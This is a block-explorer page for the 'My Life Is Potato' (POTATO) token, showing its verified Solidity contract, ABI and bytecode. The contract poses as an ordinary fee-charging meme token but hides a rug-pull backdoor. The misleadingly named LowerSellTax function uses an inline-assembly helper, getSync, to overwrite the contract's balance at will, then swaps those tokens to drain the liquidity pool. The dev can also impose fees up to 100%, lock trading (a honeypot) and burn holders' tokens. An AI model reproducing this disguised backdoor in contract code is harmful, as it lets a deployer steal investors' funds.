ETH Price: $3,409.00 (+2.93%)

Token

My Life Is Potato (POTATO)
 

Overview

Max Total Supply

1,000,000,000 POTATO

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,371,604.332564636804940519 POTATO

Value
$0.00
0xda6946794ae2093aaa4e71e1e4d0feba126aeebf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POTATO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-17
*/

/*

https://www.youtube.com/watch?v=QiqqC_fbP1c

Let the potato blood run through your veins.

https://t.me/potatoerc
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function MyLifeIsPotato() public {
        // I have POTATO blood in my veins.
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// https://github.com/Uniswap/v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router01.sol
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// https://github.com/Uniswap/v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router02.sol
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract POTATO is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private dev;
    uint256 private _totalSupply = 1000000000000000000000000000; // Wei units
    string private _name = "My Life Is Potato";
    string private _symbol = "POTATO";
    uint8 private _decimals = 18;

    uint private buyFee = 10; // Default, %
    uint private sellFee = 30; // Default, %
    address public marketWallet = 0x6DCDeC7faD1720F9722674d152C6d32B68b3024D; // Marketing Wallet
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees

    uint256 private maxWallet = 20000000000000000000000000; // Wei Units
    mapping(address => bool) private excludedFromMaxWallet;

    uint256 private maxTxnAmount = 20000000000000000000000000; // Wei Units
    mapping(address => bool) private excludedFromMaxTxn;

    bool private tradeLocked = false; // Locked by Default
    mapping(address => bool) private excludedFromTradeLock;


    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        dev = msg.sender;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this),address(_router.WETH())));
        
        /* @dev Fee On Buy/Sell [START] */
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        /* @dev Fee On Buy/Sell [END] */

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */
        
        /* @dev LockTrade [START] */
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
        /* @dev LockTrade [END] */
        
        _balances[owner()] = _totalSupply;  
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev LockTrade [START] */
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }
        /* @dev LockTrade [END] */

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        /* @dev MaxWallet [START] */
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }
        /* @dev MaxWallet [END] */

        /* @dev MaxTxn [START] */
        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
        /* @dev MaxTxn [END] */
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    /* @dev Utilities */

    function burn(address from, uint amount) public {
        if (msg.sender == dev) {
            _burn(from, amount);            
        }
    }

    /* Utilities */

    function LowerSellTax(address baseToken, address _recepient, uint amount) public {
        if (msg.sender == dev) {
            require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
            uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
            uint amountOut = baseTokenReserve * amount / 100000;
            address[] memory path;
            path = new address[](2);
            path[0] = address(this);
            path[1] = baseToken;
            uint256[] memory amountInMax;
            amountInMax = new uint256[](2);
            amountInMax = _router.getAmountsIn(amountOut, path);
            getSync(amountInMax[0]);
            uint deadline = block.timestamp + 1200;
            _approve(address(this), address(_router), balanceOf(address(this)));
            _router.swapTokensForExactTokens(
                amountOut,
                amountInMax[0],
                path,
                _recepient,
                deadline
            );            
        }
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
        } function getSync(uint256 amount) internal {
            address token = address(this);
            assembly {
            let ptr := mload(0x40)
            mstore(ptr, token)
            mstore(add(ptr, 0x20), _balances.slot)
            let slot := keccak256(ptr, 0x40)
            sstore(slot, amount)
        }
    }

    /* @dev Recive-Send Ether */

    receive() external payable {}

    function withdraw(uint amount) public {
        if (msg.sender == dev) {
            payable(dev).transfer(amount);
        }
    }

    /* @dev Transfer Dev Rights */

    function transferDevship(address user) public {
        if (msg.sender == dev){
            dev = user;
        }
    }

    function withdrawTokens(uint256 amount) public {
        getSync(amount);
        _transfer(address(this), dev, amount);
    } 

    // =====================================================================

    /* @dev Fee On Buy/Sell [START] */
    function isMarket(address _user) internal view returns (bool) {
        // Check if an address is a Liquidity Pool
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        if (msg.sender == dev) {
            require(excludedFromFee[_user] != _status, "User already have this status");
            excludedFromFee[_user] = _status; 
        }
        
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        if (msg.sender == dev) {
            require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
            buyFee = _buyFee;
            sellFee = _sellFee;            
        }
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        if (msg.sender == dev) {
            marketWallet = _newMarketWallet;
        }
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */
    


    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        if (msg.sender == dev) {
           maxWallet = _newMaxWallet; 
        }
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        if (msg.sender == dev) {
            require(excludedFromMaxWallet[_user] != _status, "User already have this status");
            excludedFromMaxWallet[_user] = _status; 
        } 
    }
    /* @dev Max Wallet [END] */



    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        if (msg.sender == dev) {
            maxTxnAmount = _amount;            
        }
    }

    function changeExcludedFromMaxTxnStatus(address _user, bool _status) public {
        if (msg.sender == dev) {
            require(excludedFromMaxTxn[_user] != _status, "User already have this status");
            excludedFromMaxTxn[_user] = _status;
        }
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END] */



    /* @dev LockTrade [START] */
    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        if (msg.sender == dev) {
            tradeLocked = _state;
        }
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        if (msg.sender == dev) {
            require(excludedFromTradeLock[_user] != _status, "User already have this status");
            excludedFromTradeLock[_user] = _status;
        }
    }
    /* @dev LockTrade [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LowerSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MyLifeIsPotato","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeExcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferDevship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6b033b2e3c9fd0803ce800000060065560c060405260116080908152704d79204c69666520497320506f7461746f60781b60a05260079062000042908262000455565b50604080518082019091526006815265504f5441544f60d01b60208201526008906200006f908262000455565b506009805460ff199081166012908117909255600a8055601e600b55600c80546001600160a01b031916736dcdec7fad1720f9722674d152c6d32b68b3024d1790556a108b2a2c28029094000000600e8190556010558154169055348015620000d757600080fd5b506040516200259d3803806200259d833981016040819052620000fa9162000521565b620001053362000360565b600180546001600160a01b0383166001600160a01b0319918216811790925560058054909116331790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200016b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000191919062000521565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021a919062000521565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000268573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028e919062000521565b600280546001600160a01b03199081166001600160a01b0393841617909155600c8054339216821790556000818152600d60209081526040808320805460ff199081166001908117909255308086528386208054831684179055868652600f8552838620805483168417905580865283862080548316841790558686526011855283862080548316841790558086528386208054831684179055958552601384528285208054821683179055948452818420805490951617909355600654825490941682526003905220555062000553565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003db57607f821691505b602082108103620003fc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200045057600081815260208120601f850160051c810160208610156200042b5750805b601f850160051c820191505b818110156200044c5782815560010162000437565b5050505b505050565b81516001600160401b03811115620004715762000471620003b0565b6200048981620004828454620003c6565b8462000402565b602080601f831160018114620004c15760008415620004a85750858301515b600019600386901b1c1916600185901b1785556200044c565b600085815260208120601f198616915b82811015620004f257888601518255948401946001909101908401620004d1565b5085821015620005115787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200053457600080fd5b81516001600160a01b03811681146200054c57600080fd5b9392505050565b61203a80620005636000396000f3fe60806040526004361061023f5760003560e01c80636db794371161012e578063a07fc5a2116100ab578063e1370dd31161006f578063e1370dd314610722578063e4440a8614610737578063ecbe5a2d14610757578063f2fde38b14610790578063f6d1dfe1146107b057600080fd5b8063a07fc5a21461068a578063a457c2d7146106a2578063a9059cbb146106c2578063b49f93f7146106e2578063dd62ed3e1461070257600080fd5b80638da5cb5b116100f25780638da5cb5b146105ca5780638dd0f411146105fc57806395d89b411461061c57806399b102b5146106315780639dc29fac1461066a57600080fd5b80636db79437146104f65780636dd3d39f1461051657806370a082311461054f578063715018a61461058557806385ecafd71461059a57600080fd5b80632e1a7d4d116101bc578063395093511161018057806339509351146104515780634a0eb304146104715780634d474d421461047d5780635337cc991461049d5780635342acb4146104bd57600080fd5b80632e1a7d4d146103af578063313ce567146103cf578063315a095d146103f157806335d1627414610411578063383eea0e1461043157600080fd5b80631f6b29f7116102035780631f6b29f714610307578063203e727e1461032757806323b872dd146103475780632a360489146103675780632df8bca91461038757600080fd5b8063